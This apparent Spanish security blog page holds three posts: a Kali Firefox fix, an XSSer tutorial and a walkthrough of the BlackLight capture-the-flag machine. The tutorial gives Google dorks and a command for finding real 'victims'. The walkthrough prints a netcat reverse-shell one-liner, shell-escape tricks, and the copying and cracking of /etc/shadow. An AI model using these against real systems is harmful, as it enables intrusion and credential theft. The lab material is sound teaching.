martes, 25 de septiembre de 2018

solucion al error de firefox en kali 2016.2

Cuando se instala kali 2016.1 (Si es que lo quieres descargar de http.old.kali.org) es posible que, al navegar a través de facebook, no te deje entrar a algunas páginas.

La solución, es reinstalar firefox.

Abrimos una consola y ponemos:

apt-get install firefox-esr

Y ya estaría solucionado.

sábado, 15 de septiembre de 2018

Inyección xss con xsser


Hola amigos.

Hace tiempo, publiqué un breve post acerca de las inyecciones xss https://salamancageek.blogspot.com/2016/01/jugando-un-poco-con-xss.html y también publiqué alguna cosilla más como un tutorial de xssight (googlead que ahí anda).
Bueno, pues hoy os traigo un script que nos va a detectar vulnerabilidades xss, y, por si eso fuera poco, también las explotará.
En primer lugar, instalamos

apt-get install python-pycurl python-xmlbuilder python-beautifulsoup python-geoip

Y después, tendríamos que descargarnos el código de


En caso de Kali Rolling, ya lo tendríamos instalado. Basta con abrir una terminal y poner

xsser



Tendremos las opciones

xsser -h : ayuda
xsser --update: para actualizaciones.
xsser --gtk: para usar GUI
xsser -u “http://host.com”: inyección simple
xsser -i “file.txt” --proxy “http://127.0.0.1:8118” --referer “111.111.111.111”: Para usar las direcciones de un fichero llamado file.txt, a través de proxy y spoofear la dirección referer como referer 111.111.111.111 (HTTP referer es una cabecera HTTP que identifica la dirección de la página web que creó el vínculo con el recurso que está siendo solicitado. A través del chequeo del campo referer, la nueva página web puede determinar dónde se originó la solicitud. Wikipedia)
xsser -u "http://host.com" --auto --reverse-check -s Atacará el host dado, lo explotará automáticamente, realizará una conexión inversa y mostrará estadísticas.

Todas las opciones son:

Usage:

xsser [OPTIONS] [--all <url> |-u <url> |-i <file> |-d <dork> (options)|-l ] [-g <get> |-p <post> |-c <crawl> (options)]
[Request(s)] [Checker(s)] [Vector(s)] [Anti-antiXSS/IDS] [Bypasser(s)] [Technique(s)] [Final Injection(s)] [Reporting] {Miscellaneous}

Cross Site "Scripter" is an automatic -framework- to detect, exploit and
report XSS vulnerabilities in web-based applications.

Options:
--version show program's version number and exit
-h, --help show this help message and exit
-s, --statistics show advanced statistics output results
-v, --verbose active verbose mode output results
--gtk launch XSSer GTK Interface
--wizard start Wizard Helper!

*Special Features*:
You can set Vector(s) and Bypasser(s) to build complex scripts for XSS
code embedded. XST allows you to discover if target is vulnerable to
'Cross Site Tracing' [CAPEC-107]:

--imx=IMX IMX - Create an image with XSS (--imx image.png)
--fla=FLASH FLA - Create a flash movie with XSS (--fla movie.swf)
--xst=XST XST - Cross Site Tracing (--xst http(s)://host.com)

*Select Target(s)*:
At least one of these options must to be specified to set the source
to get target(s) urls from:

--all=TARGET Automatically audit an entire target
-u URL, --url=URL Enter target to audit
-i READFILE Read target(s) urls from file
-d DORK Search target(s) using a query (ex: 'news.php?id=')
-l Search from a list of 'dorks'
--De=DORK_ENGINE Use this search engine (default: duck)
--Da Search massively using all search engines

*Select type of HTTP/HTTPS Connection(s)*:
These options can be used to specify which parameter(s) we want to use
as payload(s) to inject:

-g GETDATA Send payload using GET (ex: '/menu.php?q=')
-p POSTDATA Send payload using POST (ex: 'foo=1&bar=')
-c CRAWLING Number of urls to crawl on target(s): 1-99999
--Cw=CRAWLER_WIDTH Deeping level of crawler: 1-5 (default 3)
--Cl Crawl only local target(s) urls (default TRUE)

*Configure Request(s)*:
These options can be used to specify how to connect to the target(s)
payload(s). You can choose multiple:

--cookie=COOKIE Change your HTTP Cookie header
--drop-cookie Ignore Set-Cookie header from response
--user-agent=AGENT Change your HTTP User-Agent header (default SPOOFED)
--referer=REFERER Use another HTTP Referer header (default NONE)
--xforw Set your HTTP X-Forwarded-For with random IP values
--xclient Set your HTTP X-Client-IP with random IP values
--headers=HEADERS Extra HTTP headers newline separated
--auth-type=ATYPE HTTP Authentication type (Basic, Digest, GSS or NTLM)
--auth-cred=ACRED HTTP Authentication credentials (name:password)
--proxy=PROXY Use proxy server (tor: http://localhost:8118)
--ignore-proxy Ignore system default HTTP proxy
--timeout=TIMEOUT Select your timeout (default 30)
--retries=RETRIES Retries when the connection timeouts (default 1)
--threads=THREADS Maximum number of concurrent HTTP requests (default 5)
--delay=DELAY Delay in seconds between each HTTP request (default 0)
--tcp-nodelay Use the TCP_NODELAY option
--follow-redirects Follow server redirection responses (302)
--follow-limit=FLI Set limit for redirection requests (default 50)

*Checker Systems*:
These options are useful to know if your target is using filters
against XSS attacks:

--hash send a hash to check if target is repeating content
--heuristic discover parameters filtered by using heuristics
--discode=DISCODE set code on reply to discard an injection
--checkaturl=ALT check reply using: alternative url -> Blind XSS
--checkmethod=ALTM check reply using: GET or POST (default: GET)
--checkatdata=ALD check reply using: alternative payload
--reverse-check establish a reverse connection from target to XSSer to
certify that is 100% vulnerable (recommended!)

*Select Vector(s)*:
These options can be used to specify injection(s) code. Important if
you don't want to inject a common XSS vector used by default. Choose
only one option:

--payload=SCRIPT OWN - Inject your own code
--auto AUTO - Inject a list of vectors provided by XSSer

*Anti-antiXSS Firewall rules*:
These options can be used to try to bypass specific WAF/IDS products.
Choose only if required:

--Phpids0.6.5 PHPIDS (0.6.5) [ALL]
--Phpids0.7 PHPIDS (0.7) [ALL]
--Imperva Imperva Incapsula [ALL]
--Webknight WebKnight (4.1) [Chrome]
--F5bigip F5 Big IP [Chrome + FF + Opera]
--Barracuda Barracuda WAF [ALL]
--Modsec Mod-Security [ALL]
--Quickdefense QuickDefense [Chrome]

*Select Bypasser(s)*:
These options can be used to encode vector(s) and try to bypass
possible anti-XSS filters. They can be combined with other techniques:

--Str Use method String.FromCharCode()
--Une Use Unescape() function
--Mix Mix String.FromCharCode() and Unescape()
--Dec Use Decimal encoding
--Hex Use Hexadecimal encoding
--Hes Use Hexadecimal encoding with semicolons
--Dwo Encode IP addresses with DWORD
--Doo Encode IP addresses with Octal
--Cem=CEM Set different 'Character Encoding Mutations'
(reversing obfuscators) (ex: 'Mix,Une,Str,Hex')

*Special Technique(s)*:
These options can be used to inject code using different XSS
techniques. You can choose multiple:

--Coo COO - Cross Site Scripting Cookie injection
--Xsa XSA - Cross Site Agent Scripting
--Xsr XSR - Cross Site Referer Scripting
--Dcp DCP - Data Control Protocol injections
--Dom DOM - Document Object Model injections
--Ind IND - HTTP Response Splitting Induced code
--Anchor ANC - Use Anchor Stealth payloader (DOM shadows!)

*Select Final injection(s)*:
These options can be used to specify the final code to inject on
vulnerable target(s). Important if you want to exploit 'on-the-wild'
the vulnerabilities found. Choose only one option:

--Fp=FINALPAYLOAD OWN - Exploit your own code
--Fr=FINALREMOTE REMOTE - Exploit a script -remotely-
--Doss DOSs - XSS (server) Denial of Service
--Dos DOS - XSS (client) Denial of Service
--B64 B64 - Base64 code encoding in META tag (rfc2397)

*Special Final injection(s)*:
These options can be used to execute some 'special' injection(s) on
vulnerable target(s). You can select multiple and combine them with
your final code (except with DCP code):

--Onm ONM - Use onMouseMove() event
--Ifr IFR - Use <iframe> source tag

*Reporting*:
--save export to file (XSSreport.raw)
--xml=FILEXML export to XML (--xml file.xml)

*Miscellaneous*:
--silent inhibit console output results
--no-head NOT send a HEAD request before start a test
--alive=ISALIVE set limit of errors before check if target is alive
--update check for latest stable version

Un listado de dorks para xss sería, por ejemplo:

inurl:search.php?
inurl:find.php?
inurl:search.html
inurl:find.html
inurl:search.aspx
inurl:find.aspx
inurl:".php?cmd="
inurl:".php?z="
inurl:".php?q="
inurl:".php?search="
inurl:".php?query="
inurl:".php?searchstring="
inurl:".php?keyword="
inurl:".php?file="
inurl:".php?years="
inurl:".php?txt="
inurl:".php?tag="
inurl:".php?max="
inurl:".php?from="
inurl:".php?author="
inurl:".php?pass="
inurl:".php?feedback="
inurl:".php?mail="
inurl:".php?cat="
inurl:".php?vote="
inurl:search.php?q=
inurl:com_feedpostold/feedpost.php?url=
inurl:scrapbook.php?id=
inurl:headersearch.php?sid=
inurl:/poll/default.asp?catid=
inurl:/search_results.php?search=
EDIT: Dorks agregados por RiojasMx, muchas gracias!
allinurl:guestbook.php
allinurl:libro-visitas.php
allinurl:visitas.php
allinurl:bookmark.php
allinurl:visitas/addentry.php
allinurl:visitas/index.php
allinurl:visitas/index.asp⁠⁠⁠⁠


Por ejemplo, vamos a buscar víctimas

xsser --De=google -d ".php?vote=" --proxy=http://127.0.0.1:8118


viernes, 7 de septiembre de 2018

Solución al reto Blacklight

Hola amigos.

En esta ocasión, vamos a desarrollar el ctf BlackLight, cuya máquina la podéis descargar en https://www.vulnhub.com/entry/blacklight-1,242/

Vamos a suponer que la máquina atacante tiene la IP 192.168.1.131 y la máquina víctima 192.168.1.140

En primer lugar, hacemos el escaneo de puertos

nmap -sS -sV -O 192.168.1.140



Observamos que tenemos un servidor web corriendo.



Veamos los directorios




tenemos la página robots.txt, vamos a visitarla



Tenemos dos, flag1.txt y blacklight.dict.

Vamos a la primera



Y el segundo, es un diccionario que nos descargaremos, pues podríamos necesitarlo más adelante.



Vamos a descargarlo

wget 192.168.1.140/blacklight.dict



Vemos en el flag, el número 9072, puede ser un puerto abierto que no nos haya detectado nmap.
Esto es debido a que nmap, por defecto, no escanea todos los puertos, sino los más comunes.

Nmap -sS -sV -p 9072 192.168.1.140



No sabe lo que es.
Vamos a probar

telnet 192.168.1.140 9072



vale, pongamos

.help



vale, veamos

.readhash



Nos dice que tenemos un comando más hasta que el servidor nos desconecte. Por tanto, sólo nos deja 3 comandos, de los cuales ya he gastado 2.

La verdad es que, si vuelves a reiniciar la máquina atacante, vuelves a tener 3 oportunidades.

Vale, en una nueva consola, abramos un netcat a la escucha

nc -l -v -p 4444

Vamos a crear un fichero FIFO.

¿Qué es un fichero FIFO? En primer lugar, FIFO significa First In, First Out, o lo que es lo mismo, el primero en entrar es el primero en salir.

Lo que vamos a hacer es crear una lista de comandos, a la cual, asignaremos un nombre. A este nombre se le llama fichero FIFO.

mkfinfo /tmp/fifo; nc 192.168.1.131 4444 0</tmp/fifo | /bin/sh >tmp/fifo 2>&1; rm /tmp/fifo

En primer lugar, se crea el archivo /tmp/fifo.

Punto y coma para separar órdenes y ejecutarlas.

En segundo lugar, Abriremos un netcat a la dirección 192.168.1.140 en el peurto 4444; A la salida estándar por teclado teclado (el 0) le redirigimos, pero no hacia una salida (>), sino hacia la entrada (<) el archivo fifo que hemos creado.

La salida que nos ha generado todo esto, lo enviamos como entrada (|) a lo que salga de hacer todo el proceso de /bin/sh>tmp/fifo 2>&1 (Es decir, primero se haría el /bin/sh>tmp/fifo 2&1 y después, todo lo que haya salido de la parte izquierda de “|”, será la entrada de toda la parte derecha (el resultado de /bin/sh>tmp/fifo 2>&1.

Ahora bien, 2 se refiere al error estándar (stderr). Este error, se redigirá a la salida estándar (stdout), que será ese &1.

Con ello, lo que hacemos, será forzar a imprimir los errores.

Posteriormente, borramos /tmp/fifo

Por tanto, en la primera consola, tendremos que poner

.exec mkfifo /tmp/fifo; nc 192.168.1.131 4444 0</tmp/fifo | /bin/sh >tmp/fifo 2>&1; rm /tmp/fifo

<imagen 12>

Ahora, correremos un script en python, para que nos dé una shell

python -c 'import pty;pty.spawn(“/bin/bash”);'

pty, en linux, son pseudoterminales. Por tanto, lo que hacemos en python es abrir una pseudoterminal.

Fuera de este reto, para abrir pseudoterminales tenemos:

  • echo os.system('/bin/bash')
  • /bin/sh -i
  • perl -e 'exec “/bin/sh”;'
  • perl: exec “/bin/sh”;
  • ruby: exec “/bin/sh”
  • A partir de aplicaciones:
    • vi: :!bash
    • En nmap (sólo desde la versión 2.02 hasta la 5.21, para ver la versión de nmap, con la opción -V):
        1. nmap --interactive
        2. !sh

Una vez obtenida la shell, observamos que en /home/blacklight tenemos otro hash en el fichero hash.txt, el cual, lo voy a copiar a /var/www/html/ para descargarlo



También voy a /etc/:

cd /etc/

Copio todos los archivos shadow a /var/www/html

cp shado* /var/www/html/

creo un archivo tar

tar cvf shadow.tar shadow shadow-

En una tercera terminal descargo lo anterior.

wget 192.168.1.140/hash.txt
wget 192.168.1.140/shadow.tar

Extraigo los ficheros

tar xvf shadow.tar

Ahora, realizamos un ataque de fuerza bruta a estos archivos shadow

john shadow --wordlist=blacklight.dic



Bien, volvamos a la shell de blacklight y vayamos al directorio /home/blacklight

cd /home/blacklight/

Ahora, veamos los archivos ocultos

ls -al



Nos metemos en el directorio .secret

cd .secret

ls -al



Copiamos a /var/www/html/ para descargarlo

cp * /var/www/html/

Nos vamos a la última terminal que abrimos y lo descargamos

wget 192.168.1.140/flag2-inside.jpg



Bien. Lo que nos dice es que el flag está escondida en esta imagen. Usaremos outguess, que es una herramienta de estenografía (¿os habéis dado cuenta que en la imagen ponía ...OUT...GUESS?, nos estaba dando una pista).

En la terminal, ponemos


Y compilamos de la siguiente manera:

En primer lugar ponemos.

./configure

En segundo lugar, ponemos.

make

bien, ahora ponemos

outguess -r flag2-inside.jpg -t flag2



cat flag2